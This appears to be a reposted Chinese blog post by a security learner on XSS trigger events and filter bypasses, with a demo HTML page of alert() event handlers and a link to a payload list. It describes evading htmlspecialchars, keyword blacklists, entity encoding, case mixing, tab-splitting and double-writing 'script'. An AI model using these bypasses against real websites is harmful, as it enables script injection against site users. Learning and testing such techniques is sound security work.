淺談xss的各種觸發方式以及防護繞過


觸發方式都寫在里面了

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
    <title>Untitled</title>
</head>

<body>

<div  onmouseenter="alert(1)" style="background-color:red">當鼠標進入該區域執行代碼</div>
<br>
<div onmouseleave="alert(2)" style="BACKGROUND-COLOR:red">當鼠標離開該區域執行代碼</div>
<br>
<div onmousewheel="alert(3)" style="BACKGROUND-COLOR: red">當鼠標在選區滾輪時執行代碼</div>
<br>
<div style="width:100px;height:100px;overflow:scroll" onscroll="alert(4)">當獲得焦點時執行代碼
  <br/>
</div>
<br>
<div contentEditable="true" style="background-color:red" onfocusin="alert(5)" >獲得焦點(點擊這個輸入框)</div>
<br>
<div contentEditable="true" style="background-color:red" onfocusout="alert(6)" >失去焦點(沒搞懂)</div>
<br>
<div style="background-color:red;" onbeforecopy="alert(8)" >框選文字復制</div>
<br>
<div 
contentEditable="true" style="background-color:red;" onbeforecut="alert(9)" >框選文字剪切</div>
<br>
</body>
</html>

 

 

只寫部分,更多觸發事件可以參考這兩篇文章

https://blog.csdn.net/qq_36374896/article/details/82755793

https://www.cnblogs.com/webzhuo/p/4155594.html

 

再說一下防護:

輸入檢測:

htmlspecialchars函數:用來把一些預定義的字符轉換為HTML實體,默認不開啟對單引號的過濾

  繞過:用onmouseover或者onclick等方式,像xsslabs里第2,3,4題就是用onclick

關鍵字黑名單:

  換一個關鍵字,反正上面有這么多。

  用html字符實體編碼,網站https://www.qqxiuzi.cn/bianma/zifushiti.php

  或者用大小寫繞過

  或者使用tab制表符,空格,回車等(比如jav ascri pt:alert(1) 。這個要先在別的文本框輸入tab進去(有些情況下,按下tab就跳到下一個別的地方去了),在把payload復制過來使用。

  當遇到清除關鍵字的時候,可以嘗試雙寫繞過,scriscriptpt,清除一個script后,剩下的拼接回來又是一個script,這個在注入里面也會用到

 

同時昨天通過學長,得到一大票xsspayload,也放在這里,可以拿來爆破

https://github.com/TheKingOfDuck/easyXssPayload

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM